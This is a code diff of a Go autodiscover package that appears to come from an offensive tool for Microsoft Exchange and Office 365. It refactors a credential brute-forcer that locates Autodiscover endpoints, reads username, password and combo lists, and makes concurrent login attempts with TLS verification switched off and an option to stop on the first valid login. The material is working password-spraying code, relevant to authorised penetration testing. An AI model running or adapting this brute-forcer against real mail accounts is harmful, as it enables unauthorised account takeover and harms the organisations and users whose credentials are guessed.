11package autodiscover
22
33import (
4+ "crypto/tls"
45 "fmt"
56 "io/ioutil"
67 "net/http"
@@ -25,43 +26,58 @@ type Result struct {
2526
2627var concurrency = 3 //limit the number of consecutive attempts
2728
29+ var delay = 5
30+ var consc = 3
31+ var usernames []string
32+ var passwords []string
33+ var userpass []string
34+ var autodiscoverURL string
35+ var basic = false
36+ var verbose = false
37+ var insecure = false
38+ var stopSuccess = false
39+
40+
2841func autodiscoverDomain (domain string ) string {
2942 var autodiscoverURL string
3043
3144 //check if this is just a domain or a redirect (starts with http[s]://)
3245 if m , _ := regexp .Match ("http[s]?://" , []byte (domain )); m == true {
3346 autodiscoverURL = domain
47+ utils .Info .Printf ("Using end-point: %s\n " , domain )
3448 } else {
3549 //create the autodiscover url
3650 if autodiscoverStep == 0 {
37- autodiscoverURL = createAutodiscover (domain , true )
51+ utils .Info .Println ("Trying to Autodiscover domain" )
52+ autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), true )
53+ utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
3854 if autodiscoverURL == "" {
3955 autodiscoverStep ++
4056 }
4157 }
4258 if autodiscoverStep == 1 {
43- autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), true )
59+ autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), false )
60+ utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
4461 if autodiscoverURL == "" {
4562 autodiscoverStep ++
4663 }
4764 }
4865 if autodiscoverStep == 2 {
49- autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), false )
66+ autodiscoverURL = createAutodiscover (domain , true )
67+ utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
5068 if autodiscoverURL == "" {
5169 return ""
5270 }
5371 }
5472 }
5573
56- utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
57-
5874 req , err := http .NewRequest ("GET" , autodiscoverURL , nil )
5975 req .Header .Add ("Content-Type" , "text/xml" )
6076
61- tr := & http.Transport {
62- TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
63- }
64- client := http.Client {Transport :tr }
77+ tr := & http.Transport {
78+ TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
79+ }
80+ client := http.Client {Transport : tr }
6581
6682 resp , err := client .Do (req )
6783
@@ -72,6 +88,8 @@ func autodiscoverDomain(domain string) string {
7288 }
7389 return ""
7490 }
91+
92+ //check if we got prompted for authentication, this is normally an indicator of a valid endpoint
7593 if resp .StatusCode == 401 || resp .StatusCode == 403 {
7694 return autodiscoverURL
7795 }
@@ -82,24 +100,49 @@ func autodiscoverDomain(domain string) string {
82100 return ""
83101}
84102
85- //BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
86- //And whether to stop on success
87- func BruteForce (domain , usersFile , passwordsFile string , basic , insecure , stopSuccess , verbose bool , consc , delay int ) {
88- utils .Info .Println ("Trying to Autodiscover domain" )
89- autodiscoverURL := autodiscoverDomain (domain )
103+ //Init function to setup the brute-force session
104+ func Init (domain , usersFile , passwordsFile , userpassFile string , b , i , s , v bool , c , d , t int ) error {
105+ autodiscoverURL = autodiscoverDomain (domain )
90106
91107 if autodiscoverURL == "" {
92- return
108+ return fmt .Errorf ("No autodiscover end-point found" )
109+ }
110+
111+ stopSuccess = s
112+ insecure = i
113+ basic = b
114+ verbose = v
115+ delay = d
116+ consc = c
117+ concurrency = t
118+
119+ if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" {
120+ basic = true
121+ }
122+
123+ if userpassFile != "" {
124+ userpass = readFile (userpassFile )
125+ if userpass == nil {
126+ return fmt .Errorf ("Unable to read userpass file" )
127+ }
128+ return nil
93129 }
94- usernames : = readFile (usersFile )
130+ usernames = readFile (usersFile )
95131 if usernames == nil {
96- return
132+ return fmt . Errorf ( "Unable to read usernames file" )
97133 }
98- passwords : = readFile (passwordsFile )
134+ passwords = readFile (passwordsFile )
99135 if passwords == nil {
100- return
136+ return fmt . Errorf ( "Unable to read passwords file" )
101137 }
102138
139+ return nil
140+ }
141+
142+ //BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
143+ //And whether to stop on success
144+ func BruteForce () {
145+
103146 attempts := 0
104147 stp := false
105148
@@ -113,7 +156,9 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
113156 if u == "" || p == "" {
114157 continue
115158 }
116- time .Sleep (time .Millisecond * 500 ) //lets not flood it
159+
160+ time .Sleep (time .Millisecond * 500 ) //lets not flood it
161+
117162 sem <- true
118163
119164 go func (u string , p string , i int ) {
@@ -133,7 +178,6 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
133178 usernames = append (usernames [:out .Index ], usernames [out .Index + 1 :]... )
134179 if stopSuccess == true {
135180 stp = true
136-
137181 }
138182 }
139183 }(u , p , ui )
@@ -155,17 +199,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
155199}
156200
157201//UserPassBruteForce function does a bruteforce using a supplied user:pass file
158- func UserPassBruteForce (domain , userpassFile string , basic , insecure , stopSuccess , verbose bool , consc , delay int ) {
159- utils .Info .Println ("Trying to Autodiscover domain" )
160- autodiscoverURL := autodiscoverDomain (domain )
161-
162- if autodiscoverURL == "" {
163- return
164- }
165- userpass := readFile (userpassFile )
166- if userpass == nil {
167- return
168- }
202+ func UserPassBruteForce () {
169203
170204 count := 0
171205 sem := make (chan bool , concurrency )
@@ -178,7 +212,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
178212 // verify colon-delimited username:password format
179213 s := strings .SplitN (up , ":" , 2 )
180214 if len (s ) < 2 {
181- utils .Fail .Printf ("Skipping improperly formatted entry in %s:% d\n " , userpassFile , count )
215+ utils .Fail .Printf ("Skipping improperly formatted entry at line % d\n " , count )
182216 continue
183217 }
184218 u , p := s [0 ], s [1 ]
@@ -188,7 +222,9 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
188222 if u == "" {
189223 continue
190224 }
191- time .Sleep (time .Millisecond * 500 ) //lets not flood it
225+
226+ time .Sleep (time .Millisecond * 500 ) //lets not flood it
227+
192228 sem <- true
193229
194230 go func (u string , p string ) {
@@ -236,10 +272,11 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
236272 result := Result {user , password , - 1 , - 1 , nil }
237273
238274 cookie , _ := cookiejar .New (nil )
239- tr := & http.Transport {TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
240- DisableKeepAlives :true , //should fix mutex issues
241- }
242- client := http.Client {Transport :tr }
275+
276+ tr := & http.Transport {TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
277+ DisableKeepAlives : true , //should fix mutex issues
278+ }
279+ client := http.Client {Transport : tr }
243280
244281 if basic == false {
245282 //check if this is a first request or a redirect
@@ -258,8 +295,8 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
258295 req , err := http .NewRequest ("GET" , autodiscoverURL , nil )
259296 req .Header .Add ("Content-Type" , "text/xml" )
260297
261- //if we have been redirected to outlook, change the auth header to basic auth
262- if basic == false {
298+ //if basic authi is required, set auth header
299+ if basic == true {
263300 req .SetBasicAuth (user , password )
264301 }
265302
@@ -270,15 +307,20 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
270307 if m , _ := regexp .Match ("illegal base64" , []byte (err .Error ())); m == true {
271308 client = http.Client {Transport : InsecureRedirectsO365 {User : user , Pass : password , Insecure : insecure }}
272309 resp , err = client .Do (req )
310+ if err != nil {
311+ result .Error = err
312+ return result
313+ }
273314 } else {
315+
274316 result .Error = err
275317 return result
276318 }
277319
278320 }
279-
280- defer resp .Body .Close ()
281-
321+ if resp != nil {
322+ defer resp .Body .Close ()
323+ }
282324 result .Status = resp .StatusCode
283325 return result
284326}
0 commit comments